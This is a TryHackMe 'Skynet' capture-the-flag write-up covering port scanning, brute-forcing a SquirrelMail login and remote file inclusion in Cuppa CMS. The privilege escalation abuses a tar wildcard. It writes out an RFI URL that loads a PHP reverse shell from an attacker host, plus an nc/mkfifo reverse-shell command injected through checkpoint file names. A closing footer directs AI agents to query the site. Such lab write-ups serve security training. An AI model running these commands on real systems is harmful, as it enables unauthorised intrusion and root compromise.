# Skynet

**Date**: 03/04/2022

**Difficulty**: Easy

**CTF**: <https://tryhackme.com/room/skynet>

***

A vulnerable Terminator themed Linux machine.

## What is Miles password for his emails? <a href="#user-content-what-is-miles-password-for-his-emails" id="user-content-what-is-miles-password-for-his-emails"></a>

First things first, let’s to a quick scan:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FVRvB8ewVsBVG08yi6Nkr%2FUntitled.png?alt=media&#x26;token=ada9a449-e50e-4e69-8e5e-4a8978bdb7f2" alt=""><figcaption></figcaption></figure>

Ping received by the machine. as the ttl=63 we can guess it is a Linux machine (as the description says).

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F7jrgqCLUoIPnNfDPGAKM%2FUntitled%201.png?alt=media&#x26;token=234a6a06-5a02-46dd-8f3f-3b56002ba270" alt=""><figcaption></figcaption></figure>

nmap discovered several ports open. Let’s get more info of them:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FiixQXI7loA9MYg3FiHaY%2FUntitled%202.png?alt=media&#x26;token=5ffd7fb8-d6f5-4aa7-8fbe-a596d16ecdf8" alt=""><figcaption></figcaption></figure>

Let’s see what the webserver has:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FEbyMqXCmrz29OH0pU8WC%2Fimagen.png?alt=media&#x26;token=3fa55b03-5fb0-48f3-a465-f8159ee93f9f" alt=""><figcaption></figcaption></figure>

The landing page is something like a browser (a copy of Google to be more exact).

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FkiLHfYqpuCHuJuKH9kBP%2FUntitled%204.png?alt=media&#x26;token=48bab6d6-551b-47fe-b5a2-6131265db300" alt=""><figcaption></figcaption></figure>

Source code of the page doesn’t reveal nothing like a credential.

I have checked if robots.txt file exists but it doesn’t. I also tried to search some words, with no success. The site didn’t create any cookie or load any script.

Let’s proceed with the directory & files enumeration.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FcvZIo49Ya7wMV2HQxi0A%2FUntitled%205.png?alt=media&#x26;token=3fc9688c-265d-4c8c-9bf4-738f8c3e527c" alt=""><figcaption></figcaption></figure>

gobuster found some directories we have not access to. All of the discovered ones except one send us a forbidden status (403).

Let’s see what’s inside /squirrelmail

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F332yNexwan75ZmkC24mc%2FUntitled%206.png?alt=media&#x26;token=4d2e5185-5850-4c63-bdf7-750d21859e9f" alt=""><figcaption></figcaption></figure>

There is nothing in the source code we can use. I’m pretty sure that we’ll be using this login form in the future.

I’m going to check if the webpage is vulnerable to XSS:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FbTdfvvVoHxyy2dAyaYkG%2FUntitled%207.png?alt=media&#x26;token=2aa03420-f444-432c-94ae-7e3b11137a89" alt=""><figcaption></figcaption></figure>

Nope, nothing happens.

Let’s capture the request with burpsuite and see if there is something interesting there:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJzSA9WGff0OgZ4rtul8S%2Fimagen.png?alt=media&#x26;token=d8d3662c-2f9a-478f-a480-b919f8e7ca2e" alt=""><figcaption></figcaption></figure>

Apparently it doesn’t matter what you try to seach, it always send the submit parameter with “Skynet+Search” value.

Let’s try to change it and send “Admin” value… Just to try something:

Same results as before. This seems to be a non-exit path.

Let’s take a look at the nmap results again…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FclytrQgQE9fDr2FNrSvv%2FUntitled%209.png?alt=media&#x26;token=2aeee5cb-6e42-446d-a9e2-18fdaa27bab1" alt=""><figcaption></figcaption></figure>

Dovecot imapd seems to be an IMAP server (used for emails). And it looks like it has activated some capabilities like LoginDisable and Pre-login… it sounds strange.

According to HackTricks:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FL6sLSe7uEVUhvWrdTPj1%2FUntitled%2010.png?alt=media&#x26;token=bb4cb4e9-d00c-467c-9bbe-e0aaa55b4ed7" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FUgIKXK1SEXvIkMZXdqkf%2FUntitled%2011.png?alt=media&#x26;token=9f58bef8-0838-4ba5-848c-b59a0c3dd35b" alt=""><figcaption></figcaption></figure>

We have connected to the Dovecot service, but I have no idea what can I do here… Aparently I can do nothing if I cannot login, so move to the next thing.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FVsaqJIqqZOHByP6iPokz%2FUntitled%2012.png?alt=media&#x26;token=857200c6-3a69-43a9-89e4-341991221db4" alt=""><figcaption></figcaption></figure>

There is an SMB server exposed in the port 445, let’s see what can we see without credentials:

`xdg-open smb://10.10.208.14`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FohySqJlVbv0gLifGAS8D%2FUntitled%2013.png?alt=media&#x26;token=a96922d3-e96a-4d73-8a9b-816b0a28f63d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FLlgdAyUMnWRVVcvG5Gys%2FUntitled%2014.png?alt=media&#x26;token=afff2a6a-f380-44d9-a063-bf9349014a95" alt=""><figcaption></figcaption></figure>

As anonymous, the only folder we have access to is “anonymous”:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FPldIWrWOdFyDk9LdRgDy%2FUntitled%2015.png?alt=media&#x26;token=38f55a1c-37a8-4e73-8f46-1cb8aedeb361" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F2Qn64NnTK7JLKkUlpSMp%2FUntitled%2016.png?alt=media&#x26;token=8e2d7376-25c7-4639-9fc2-ae7297d010b8" alt=""><figcaption></figcaption></figure>

We found a text file with a message from Miles Dyson and a folder with 3 files:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJw5JwTOq5SX4BkCjTQuR%2FUntitled%2017.png?alt=media&#x26;token=a6f4b186-d990-4a3c-8a36-ca56a8df55ce" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FfZBFnXOgjHYiHFjbuw5D%2FUntitled%2018.png?alt=media&#x26;token=00921552-6dfc-4471-b79e-5fa274d84801" alt=""><figcaption></figcaption></figure>

Only one of them have information, and it looks like a password list. I’m going to save it.

It would be funny if the password of Miles Dyson is part of this list, as he sent a message asking all users to change their passwords… I have to check it.

To do it I’ll use hydra, with `milesdyson` as username and the `log1.txt` as wordlist for passwords:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FzCkPBK0qg2LNZXKEd4a8%2FUntitled%2019.png?alt=media&#x26;token=96705c16-e654-431c-98f5-a4ed47e56697" alt=""><figcaption></figcaption></figure>

Nope. I also tried with ssh and imap with same results.

Oh, the squirrel mail login page… maybe it will work? As the wordlist is not so large, I’ll try to do a dictionary attack using BurpSuite:

First off all, let’s intercept a login request:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F4lKpyZwKTZsGmP0OSA3J%2Fimagen.png?alt=media&#x26;token=154a4239-051f-4fbf-85ad-b1c90cf9b8d0" alt=""><figcaption></figcaption></figure>

Send the request to intruder, configure it…

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fvo5tNBOmd9Px8HDG2NJX%2FUntitled%2021.png?alt=media&#x26;token=dd0a075f-ff16-44d1-bc74-3fa1c45073de" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FKAQLGf3wpMnlCfirdpSd%2FUntitled%2022.png?alt=media&#x26;token=fbbfb1f9-61f2-4cc2-b4f1-2c14c15fc165" alt=""><figcaption></figcaption></figure>

And Start the attack!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FMSDHLTkQaV5lKAMMKlNP%2FUntitled%2023.png?alt=media&#x26;token=0cad0fbe-db8f-4365-9c74-d05d923b075e" alt=""><figcaption></figcaption></figure>

After a few minutes, the attack finishes and attending to the length of the responses, every request except one have a lenght of 3240 which probably indicates that the login has failed, let’s try to login using the credentials that generated a request with the different length as password:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fj51FXMuVlAFPx0ePoL9O%2Fimagen.png?alt=media&#x26;token=054ed5b4-bcdf-4534-84f1-e5f3f902b12b" alt=""><figcaption></figcaption></figure>

Yeah! We’re in!

## What is the hidden directory? <a href="#user-content-what-is-the-hidden-directory" id="user-content-what-is-the-hidden-directory"></a>

Before anything, let’s take a look to the emails:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fu9WKgMGFVKuM1vFQ7And%2FUntitled%2025.png?alt=media&#x26;token=9242c846-e62e-4095-a3df-f47cf4b192a4" alt=""><figcaption></figcaption></figure>

strange email from serenakkogan, anyway I’ll take note of the test just in case:

```
i can i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i i can i i i everything else . . . . . . . . . . . . . .
balls have a ball to me to me to me to me to me to me to me
i . . . . . . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to
you i i i i i everything else . . . . . . . . . . . . . .
balls have 0 to me to me to me to me to me to me to me to me to
you i i i everything else . . . . . . . . . . . . . .
balls have zero to me to me to me to me to me to me to me to me to

```

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FUX2GMKqTQhCLAMbtjfW9%2FUntitled%2026.png?alt=media&#x26;token=de0eb302-5d99-4939-a6cc-9ee2b5467356" alt=""><figcaption></figcaption></figure>

```
01100010 01100001 01101100 01101100 01110011 00100000 01101000 01100001 01110110
01100101 00100000 01111010 01100101 01110010 01101111 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111 00100000 01101101 01100101 00100000 01110100 01101111
00100000 01101101 01100101 00100000 01110100 01101111 00100000 01101101 01100101
00100000 01110100 01101111
```

Same as before it’s pretty strange, but this time it’s clearly recognizable that it is written in binary, so let’s try to convert it to something readable:

`balls have zero to me to me to me to me to me to me to me to me to`

Ok… Let’s move on

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F3XigkxRh6k6XvW9qMzuW%2FUntitled%2027.png?alt=media&#x26;token=bc8a5d9e-acad-46ef-af22-26d6183a7e47" alt=""><figcaption></figcaption></figure>

This one is interesting, it includes the new password for the samba service of this user.

I checked the Drafts, Sent and Trash folders but there was nothing there.

With the credentials, let’s try to log in samba share using these credentials:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FwaGojUsx1AX8f2J6NBrF%2FUntitled%2028.png?alt=media&#x26;token=2712273d-e596-47b6-ac03-a04384d66cbb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FZLRpszJWqvOgrjQEFQcZ%2FUntitled%2029.png?alt=media&#x26;token=879263b6-9006-45ae-ad18-ce96ae746cb8" alt=""><figcaption></figcaption></figure>

Logged in! The password is correct.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FPmZSh5ICY6Ql9BJnhXPP%2FUntitled%2030.png?alt=media&#x26;token=097fe76f-a082-4d6e-ad55-22307d65be88" alt=""><figcaption></figcaption></figure>

The file important.txt looks… important:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F4KJF39TVd0zdiGk240Ug%2FUntitled%2031.png?alt=media&#x26;token=0dc5ec40-2498-4759-a49b-f73b38d4ab63" alt=""><figcaption></figcaption></figure>

I think we have found the hidden folder!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FkQHE8d50rTmSSaKarvY7%2Fimagen.png?alt=media&#x26;token=30d82b50-5672-42bb-88f0-1b639a84ff20" alt=""><figcaption></figcaption></figure>

Yep we did!

## What is the vulnerability called when you can include a remote file for malicious purposes? <a href="#user-content-what-is-the-vulnerability-called-when-you-can-include-a-remote-file-for-malicious-purpo" id="user-content-what-is-the-vulnerability-called-when-you-can-include-a-remote-file-for-malicious-purpo"></a>

Remote file inclusion

## What is the user flag? <a href="#user-content-what-is-the-user-flag" id="user-content-what-is-the-user-flag"></a>

Let’s do a directory scan in the new folder found:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FXa5InaOueS7xmyJJZgIu%2FUntitled%2033.png?alt=media&#x26;token=a3eea20a-ef9c-4e66-b8c0-0de639edba4b" alt=""><figcaption></figcaption></figure>

Gobuster quickly discovers the directory /administrator, let’s look whats inside:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FeZu2LFVlr9wm6zIergpX%2Fimagen.png?alt=media&#x26;token=a4bea5c2-2544-474e-9c39-e3a4e8839808" alt=""><figcaption></figcaption></figure>

The CMS used is something called Cuppa… Let’s look if there is any exploitable vunerability

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FpnO8kWgw5W5qiXqwvPdS%2FUntitled%2035.png?alt=media&#x26;token=733ea7cc-26ad-48a5-8794-a82bf1e3f2d8" alt=""><figcaption></figcaption></figure>

Yeah, apparently it’s one that will allow us to do remote file inclusion, nice:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FRac4p1TCBBoZ7U7DLvRp%2FUntitled%2036.png?alt=media&#x26;token=d2a13d31-24ce-445b-8037-756644280348" alt=""><figcaption></figcaption></figure>

Apparently we can create a http server in our machine, hosting a php reverse shell that will be executed by the target… Let’s try:

After the http server is set up, he have to navigate to:

[`http://10.10.25.208/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.10.10:8000/php-reverse-shell.php`](http://10.10.25.208/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.10.10:8000/php-reverse-shell.php)

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FL0bpSzFlvUBDsVQvBOed%2Fimagen.png?alt=media&#x26;token=3fb23075-cae1-4773-a2bf-b6e442376fb9" alt=""><figcaption></figcaption></figure>

And we get a reverse shell, awesome!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FRZtPIJKGhFcxL4wmoTUV%2FUntitled%2038.png?alt=media&#x26;token=ee37dc9b-8228-499b-8880-16c810bbc8ac" alt=""><figcaption></figcaption></figure>

## What is the root flag? <a href="#user-content-what-is-the-root-flag" id="user-content-what-is-the-root-flag"></a>

First try is to try to see if we can cd /root

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FPtHteZFfTu5OdmIxEFQh%2FUntitled%2039.png?alt=media&#x26;token=b24d1348-68f2-42ff-b32e-5c12b907d055" alt=""><figcaption></figcaption></figure>

Nope.

Well, as we will be interacting with this console, let’s see if we see some ssh credentials, if not, we’ll have to stabilize the console:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F135bWWwOMrhqvjjE3x3y%2FUntitled%2040.png?alt=media&#x26;token=1ded6054-6c84-4607-b6ed-e61672bacf84" alt=""><figcaption></figcaption></figure>

No ssh credentials, time to stabilize it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FnAusfpjQ9RT63AihQThZ%2FUntitled%2041.png?alt=media&#x26;token=dce42604-baae-48d4-87a5-78476e7255aa" alt=""><figcaption></figcaption></figure>

done, now let’s look for something we can use to escalate privileges.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FQ38uTPxmmbaX36fTVMBh%2FUntitled%2042.png?alt=media&#x26;token=ec926e62-152d-42a7-bb0d-b5974fbd8c66" alt=""><figcaption></figcaption></figure>

passwd is readable, but shadow no.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F5Iivz6X23vkVeSIlI4Do%2FUntitled%2043.png?alt=media&#x26;token=3d2c2cea-9ab7-4b87-9ad6-dd9bc06c415d" alt=""><figcaption></figcaption></figure>

As we don’t know the password of the user www-data we cannot list if there is any command that we can run with sudo.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F2Kl6btdaEW5Tn4L399NE%2FUntitled%2044.png?alt=media&#x26;token=8d88eb21-6343-4fcb-9d6f-7d8e2163c0fe" alt=""><figcaption></figcaption></figure>

There is a script being executed every minute as root, and it is in the /home/milesdyson/backups folder.

Let’s see if we have write permissions there:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fvr1xLIUOlNM36ZegN6yN%2FUntitled%2045.png?alt=media&#x26;token=9dd972ad-8b91-410b-893b-a248ec59dd72" alt=""><figcaption></figcaption></figure>

Nope, we don’t.

Let’s try to log in as milesdyson using the password found previously with BurpSuite:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FEeAKT4kwxz1BP7yoRb7y%2FUntitled%2046.png?alt=media&#x26;token=93f1cb78-efea-4a92-bda4-7c062a17a69d" alt=""><figcaption></figcaption></figure>

Yeah, it worked.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FX8XjToyi3k9Qz1l1y8k9%2FUntitled%2047.png?alt=media&#x26;token=083bdc56-3d08-4bcc-9513-8aa9b8e8e9bd" alt=""><figcaption></figcaption></figure>

This user cannot enter in /root neither.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJII8B2grdxu1FIjHoEM7%2FUntitled%2048.png?alt=media&#x26;token=21aa28d9-92e9-48db-a446-d1d4e748ed74" alt=""><figcaption></figcaption></figure>

And cannot change the script… let’s see if can execute something using sudo:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FiM8B9tRHI3cLHTlHzCQQ%2FUntitled%2049.png?alt=media&#x26;token=a9cf60cb-73d6-43b0-91bf-cd1a555bb318" alt=""><figcaption></figcaption></figure>

Nothing. Meh… let’s use linPEAS, I’m out of ideas.

linPEAS didn’t help me this time and I had to read another write up… Apparently we can use the [backup.sh](http://backup.sh) script, as it creates a backup of a directory using tar, and there is a vulnerability of tar we can take advantage of (<https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/>)

So, we had to execute this code (with www-data user):

`echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f" > shell.sh touch "/var/www/html/--checkpoint-action=exec=sh shell.sh" touch "/var/www/html/--checkpoint=1"`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FZHKXrcdAelM7e6froBGM%2FUntitled%2050.png?alt=media&#x26;token=9f0684b9-ec28-4d55-b840-209d698a27f9" alt=""><figcaption></figcaption></figure>

Open a netcat listener and wait for the root console:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FVUsjqUEVSblQKpMhX1IU%2FUntitled%2051.png?alt=media&#x26;token=82869732-873f-4ad1-a94f-226719105ab1" alt=""><figcaption></figcaption></figure>

Aaaand done.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://angellm.gitbook.io/hacknotes/thm/2022/skynet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
